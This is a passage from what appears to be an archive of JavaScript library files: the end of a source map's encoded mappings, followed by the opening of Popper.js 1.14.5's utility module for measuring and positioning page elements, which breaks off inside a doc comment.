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"}popper-utils.js000064400000103160151677356750007574 0ustar00/**!
 * @fileOverview Kickass library to create and place poppers near their reference elements.
 * @version 1.14.5
 * @license
 * Copyright (c) 2016 Federico Zivolo and contributors
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */
/**
 * Get CSS computed property of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Eement} element
 * @argument {String} property
 */
function getStyleComputedProperty(element, property) {
  if (element.nodeType !== 1) {
    return [];
  }
  // NOTE: 1 DOM access here
  const window = element.ownerDocument.defaultView;
  const css = window.getComputedStyle(element, null);
  return property ? css[property] : css;
}

/**
 * Returns the parentNode or the host of the element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} parent
 */
function getParentNode(element) {
  if (element.nodeName === 'HTML') {
    return element;
  }
  return element.parentNode || element.host;
}

/**
 * Returns the scrolling parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} scroll parent
 */
function getScrollParent(element) {
  // Return body, `getScroll` will take care to get the correct `scrollTop` from it
  if (!element) {
    return document.body;
  }

  switch (element.nodeName) {
    case 'HTML':
    case 'BODY':
      return element.ownerDocument.body;
    case '#document':
      return element.body;
  }

  // Firefox want us to check `-x` and `-y` variations as well
  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);
  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {
    return element;
  }

  return getScrollParent(getParentNode(element));
}

var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';

const isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);
const isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);

/**
 * Determines if the browser is Internet Explorer
 * @method
 * @memberof Popper.Utils
 * @param {Number} version to check
 * @returns {Boolean} isIE
 */
function isIE(version) {
  if (version === 11) {
    return isIE11;
  }
  if (version === 10) {
    return isIE10;
  }
  return isIE11 || isIE10;
}

/**
 * Returns the offset parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} offset parent
 */
function getOffsetParent(element) {
  if (!element) {
    return document.documentElement;
  }

  const noOffsetParent = isIE(10) ? document.body : null;

  // NOTE: 1 DOM access here
  let offsetParent = element.offsetParent || null;
  // Skip hidden elements which don't have an offsetParent
  while (offsetParent === noOffsetParent && element.nextElementSibling) {
    offsetParent = (element = element.nextElementSibling).offsetParent;
  }

  const nodeName = offsetParent && offsetParent.nodeName;

  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {
    return element ? element.ownerDocument.documentElement : document.documentElement;
  }

  // .offsetParent will return the closest TH, TD or TABLE in case
  // no offsetParent is present, I hate this job...
  if (['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {
    return getOffsetParent(offsetParent);
  }

  return offsetParent;
}

function isOffsetContainer(element) {
  const { nodeName } = element;
  if (nodeName === 'BODY') {
    return false;
  }
  return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;
}

/**
 * Finds the root node (document, shadowDOM root) of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} node
 * @returns {Element} root node
 */
function getRoot(node) {
  if (node.parentNode !== null) {
    return getRoot(node.parentNode);
  }

  return node;
}

/**
 * Finds the offset parent common to the two provided nodes
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element1
 * @argument {Element} element2
 * @returns {Element} common offset parent
 */
function findCommonOffsetParent(element1, element2) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {
    return document.documentElement;
  }

  // Here we make sure to give as "start" the element that comes first in the DOM
  const order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;
  const start = order ? element1 : element2;
  const end = order ? element2 : element1;

  // Get common ancestor container
  const range = document.createRange();
  range.setStart(start, 0);
  range.setEnd(end, 0);
  const { commonAncestorContainer } = range;

  // Both nodes are inside #document
  if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {
    if (isOffsetContainer(commonAncestorContainer)) {
      return commonAncestorContainer;
    }

    return getOffsetParent(commonAncestorContainer);
  }

  // one of the nodes is inside shadowDOM, find which one
  const element1root = getRoot(element1);
  if (element1root.host) {
    return findCommonOffsetParent(element1root.host, element2);
  } else {
    return findCommonOffsetParent(element1, getRoot(element2).host);
  }
}

/**
 * Gets the scroll value of the given element in the given side (top and left)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {String} side `top` or `left`
 * @returns {number} amount of scrolled pixels
 */
function getScroll(element, side = 'top') {
  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';
  const nodeName = element.nodeName;

  if (nodeName === 'BODY' || nodeName === 'HTML') {
    const html = element.ownerDocument.documentElement;
    const scrollingElement = element.ownerDocument.scrollingElement || html;
    return scrollingElement[upperSide];
  }

  return element[upperSide];
}

/*
 * Sum or subtract the element scroll values (left and top) from a given rect object
 * @method
 * @memberof Popper.Utils
 * @param {Object} rect - Rect object you want to change
 * @param {HTMLElement} element - The element from the function reads the scroll values
 * @param {Boolean} subtract - set to true if you want to subtract the scroll values
 * @return {Object} rect - The modifier rect object
 */
function includeScroll(rect, element, subtract = false) {
  const scrollTop = getScroll(element, 'top');
  const scrollLeft = getScroll(element, 'left');
  const modifier = subtract ? -1 : 1;
  rect.top += scrollTop * modifier;
  rect.bottom += scrollTop * modifier;
  rect.left += scrollLeft * modifier;
  rect.right += scrollLeft * modifier;
  return rect;
}

/*
 * Helper to detect borders of a given element
 * @method
 * @memberof Popper.Utils
 * @param {CSSStyleDeclaration} styles
 * Result of `getStyleComputedProperty` on the given element
 * @param {String} axis - `x` or `y`
 * @return {number} borders - The borders size of the given axis
 */

function getBordersSize(styles, axis) {
  const sideA = axis === 'x' ? 'Left' : 'Top';
  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';

  return parseFloat(styles[`border${sideA}Width`], 10) + parseFloat(styles[`border${sideB}Width`], 10);
}

function getSize(axis, body, html, computedStyle) {
  return Math.max(body[`offset${axis}`], body[`scroll${axis}`], html[`client${axis}`], html[`offset${axis}`], html[`scroll${axis}`], isIE(10) ? parseInt(html[`offset${axis}`]) + parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]) : 0);
}

function getWindowSizes(document) {
  const body = document.body;
  const html = document.documentElement;
  const computedStyle = isIE(10) && getComputedStyle(html);

  return {
    height: getSize('Height', body, html, computedStyle),
    width: getSize('Width', body, html, computedStyle)
  };
}

var _extends = Object.assign || function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i];

    for (var key in source) {
      if (Object.prototype.hasOwnProperty.call(source, key)) {
        target[key] = source[key];
      }
    }
  }

  return target;
};

/**
 * Given element offsets, generate an output similar to getBoundingClientRect
 * @method
 * @memberof Popper.Utils
 * @argument {Object} offsets
 * @returns {Object} ClientRect like output
 */
function getClientRect(offsets) {
  return _extends({}, offsets, {
    right: offsets.left + offsets.width,
    bottom: offsets.top + offsets.height
  });
}

/**
 * Get bounding client rect of given element
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} element
 * @return {Object} client rect
 */
function getBoundingClientRect(element) {
  let rect = {};

  // IE10 10 FIX: Please, don't ask, the element isn't
  // considered in DOM in some circumstances...
  // This isn't reproducible in IE10 compatibility mode of IE11
  try {
    if (isIE(10)) {
      rect = element.getBoundingClientRect();
      const scrollTop = getScroll(element, 'top');
      const scrollLeft = getScroll(element, 'left');
      rect.top += scrollTop;
      rect.left += scrollLeft;
      rect.bottom += scrollTop;
      rect.right += scrollLeft;
    } else {
      rect = element.getBoundingClientRect();
    }
  } catch (e) {}

  const result = {
    left: rect.left,
    top: rect.top,
    width: rect.right - rect.left,
    height: rect.bottom - rect.top
  };

  // subtract scrollbar size from sizes
  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};
  const width = sizes.width || element.clientWidth || result.right - result.left;
  const height = sizes.height || element.clientHeight || result.bottom - result.top;

  let horizScrollbar = element.offsetWidth - width;
  let vertScrollbar = element.offsetHeight - height;

  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`
  // we make this check conditional for performance reasons
  if (horizScrollbar || vertScrollbar) {
    const styles = getStyleComputedProperty(element);
    horizScrollbar -= getBordersSize(styles, 'x');
    vertScrollbar -= getBordersSize(styles, 'y');

    result.width -= horizScrollbar;
    result.height -= vertScrollbar;
  }

  return getClientRect(result);
}

function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {
  const isIE10 = isIE(10);
  const isHTML = parent.nodeName === 'HTML';
  const childrenRect = getBoundingClientRect(children);
  const parentRect = getBoundingClientRect(parent);
  const scrollParent = getScrollParent(children);

  const styles = getStyleComputedProperty(parent);
  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);
  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);

  // In cases where the parent is fixed, we must ignore negative scroll in offset calc
  if (fixedPosition && isHTML) {
    parentRect.top = Math.max(parentRect.top, 0);
    parentRect.left = Math.max(parentRect.left, 0);
  }
  let offsets = getClientRect({
    top: childrenRect.top - parentRect.top - borderTopWidth,
    left: childrenRect.left - parentRect.left - borderLeftWidth,
    width: childrenRect.width,
    height: childrenRect.height
  });
  offsets.marginTop = 0;
  offsets.marginLeft = 0;

  // Subtract margins of documentElement in case it's being used as parent
  // we do this only on HTML because it's the only element that behaves
  // differently when margins are applied to it. The margins are included in
  // the box of the documentElement, in the other cases not.
  if (!isIE10 && isHTML) {
    const marginTop = parseFloat(styles.marginTop, 10);
    const marginLeft = parseFloat(styles.marginLeft, 10);

    offsets.top -= borderTopWidth - marginTop;
    offsets.bottom -= borderTopWidth - marginTop;
    offsets.left -= borderLeftWidth - marginLeft;
    offsets.right -= borderLeftWidth - marginLeft;

    // Attach marginTop and marginLeft because in some circumstances we may need them
    offsets.marginTop = marginTop;
    offsets.marginLeft = marginLeft;
  }

  if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {
    offsets = includeScroll(offsets, parent);
  }

  return offsets;
}

function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {
  const html = element.ownerDocument.documentElement;
  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);
  const width = Math.max(html.clientWidth, window.innerWidth || 0);
  const height = Math.max(html.clientHeight, window.innerHeight || 0);

  const scrollTop = !excludeScroll ? getScroll(html) : 0;
  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;

  const offset = {
    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,
    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,
    width,
    height
  };

  return getClientRect(offset);
}

/**
 * Check if the given element is fixed or is inside a fixed parent
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {Element} customContainer
 * @returns {Boolean} answer to "isFixed?"
 */
function isFixed(element) {
  const nodeName = element.nodeName;
  if (nodeName === 'BODY' || nodeName === 'HTML') {
    return false;
  }
  if (getStyleComputedProperty(element, 'position') === 'fixed') {
    return true;
  }
  return isFixed(getParentNode(element));
}

/**
 * Finds the first parent of an element that has a transformed property defined
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} first transformed parent or documentElement
 */

function getFixedPositionOffsetParent(element) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element || !element.parentElement || isIE()) {
    return document.documentElement;
  }
  let el = element.parentElement;
  while (el && getStyleComputedProperty(el, 'transform') === 'none') {
    el = el.parentElement;
  }
  return el || document.documentElement;
}

/**
 * Computed the boundaries limits and return them
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} popper
 * @param {HTMLElement} reference
 * @param {number} padding
 * @param {HTMLElement} boundariesElement - Element used to define the boundaries
 * @param {Boolean} fixedPosition - Is in fixed position mode
 * @returns {Object} Coordinates of the boundaries
 */
function getBoundaries(popper, reference, padding, boundariesElement, fixedPosition = false) {
  // NOTE: 1 DOM access here

  let boundaries = { top: 0, left: 0 };
  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);

  // Handle viewport case
  if (boundariesElement === 'viewport') {
    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);
  } else {
    // Handle other cases based on DOM element used as boundaries
    let boundariesNode;
    if (boundariesElement === 'scrollParent') {
      boundariesNode = getScrollParent(getParentNode(reference));
      if (boundariesNode.nodeName === 'BODY') {
        boundariesNode = popper.ownerDocument.documentElement;
      }
    } else if (boundariesElement === 'window') {
      boundariesNode = popper.ownerDocument.documentElement;
    } else {
      boundariesNode = boundariesElement;
    }

    const offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);

    // In case of HTML, we need a different computation
    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {
      const { height, width } = getWindowSizes(popper.ownerDocument);
      boundaries.top += offsets.top - offsets.marginTop;
      boundaries.bottom = height + offsets.top;
      boundaries.left += offsets.left - offsets.marginLeft;
      boundaries.right = width + offsets.left;
    } else {
      // for all the other DOM elements, this one is good
      boundaries = offsets;
    }
  }

  // Add paddings
  padding = padding || 0;
  const isPaddingNumber = typeof padding === 'number';
  boundaries.left += isPaddingNumber ? padding : padding.left || 0;
  boundaries.top += isPaddingNumber ? padding : padding.top || 0;
  boundaries.right -= isPaddingNumber ? padding : padding.right || 0;
  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0;

  return boundaries;
}

function getArea({ width, height }) {
  return width * height;
}

/**
 * Utility used to transform the `auto` placement to the placement with more
 * available space.
 * @method
 * @memberof Popper.Utils
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function computeAutoPlacement(placement, refRect, popper, reference, boundariesElement, padding = 0) {
  if (placement.indexOf('auto') === -1) {
    return placement;
  }

  const boundaries = getBoundaries(popper, reference, padding, boundariesElement);

  const rects = {
    top: {
      width: boundaries.width,
      height: refRect.top - boundaries.top
    },
    right: {
      width: boundaries.right - refRect.right,
      height: boundaries.height
    },
    bottom: {
      width: boundaries.width,
      height: boundaries.bottom - refRect.bottom
    },
    left: {
      width: refRect.left - boundaries.left,
      height: boundaries.height
    }
  };

  const sortedAreas = Object.keys(rects).map(key => _extends({
    key
  }, rects[key], {
    area: getArea(rects[key])
  })).sort((a, b) => b.area - a.area);

  const filteredAreas = sortedAreas.filter(({ width, height }) => width >= popper.clientWidth && height >= popper.clientHeight);

  const computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;

  const variation = placement.split('-')[1];

  return computedPlacement + (variation ? `-${variation}` : '');
}

const longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];
let timeoutDuration = 0;
for (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {
  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {
    timeoutDuration = 1;
    break;
  }
}

function microtaskDebounce(fn) {
  let called = false;
  return () => {
    if (called) {
      return;
    }
    called = true;
    window.Promise.resolve().then(() => {
      called = false;
      fn();
    });
  };
}

function taskDebounce(fn) {
  let scheduled = false;
  return () => {
    if (!scheduled) {
      scheduled = true;
      setTimeout(() => {
        scheduled = false;
        fn();
      }, timeoutDuration);
    }
  };
}

const supportsMicroTasks = isBrowser && window.Promise;

/**
* Create a debounced version of a method, that's asynchronously deferred
* but called in the minimum time possible.
*
* @method
* @memberof Popper.Utils
* @argument {Function} fn
* @returns {Function}
*/
var debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;

/**
 * Mimics the `find` method of Array
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function find(arr, check) {
  // use native find if supported
  if (Array.prototype.find) {
    return arr.find(check);
  }

  // use `filter` to obtain the same behavior of `find`
  return arr.filter(check)[0];
}

/**
 * Return the index of the matching object
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function findIndex(arr, prop, value) {
  // use native findIndex if supported
  if (Array.prototype.findIndex) {
    return arr.findIndex(cur => cur[prop] === value);
  }

  // use `find` + `indexOf` if `findIndex` isn't supported
  const match = find(arr, obj => obj[prop] === value);
  return arr.indexOf(match);
}

/**
 * Get the position of the given element, relative to its offset parent
 * @method
 * @memberof Popper.Utils
 * @param {Element} element
 * @return {Object} position - Coordinates of the element and its `scrollTop`
 */
function getOffsetRect(element) {
  let elementRect;
  if (element.nodeName === 'HTML') {
    const { width, height } = getWindowSizes(element.ownerDocument);
    elementRect = {
      width,
      height,
      left: 0,
      top: 0
    };
  } else {
    elementRect = {
      width: element.offsetWidth,
      height: element.offsetHeight,
      left: element.offsetLeft,
      top: element.offsetTop
    };
  }

  // position
  return getClientRect(elementRect);
}

/**
 * Get the outer sizes of the given element (offset size + margins)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Object} object containing width and height properties
 */
function getOuterSizes(element) {
  const window = element.ownerDocument.defaultView;
  const styles = window.getComputedStyle(element);
  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);
  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);
  const result = {
    width: element.offsetWidth + y,
    height: element.offsetHeight + x
  };
  return result;
}

/**
 * Get the opposite placement of the given one
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement
 * @returns {String} flipped placement
 */
function getOppositePlacement(placement) {
  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };
  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);
}

/**
 * Get offsets to the popper
 * @method
 * @memberof Popper.Utils
 * @param {Object} position - CSS position the Popper will get applied
 * @param {HTMLElement} popper - the popper element
 * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)
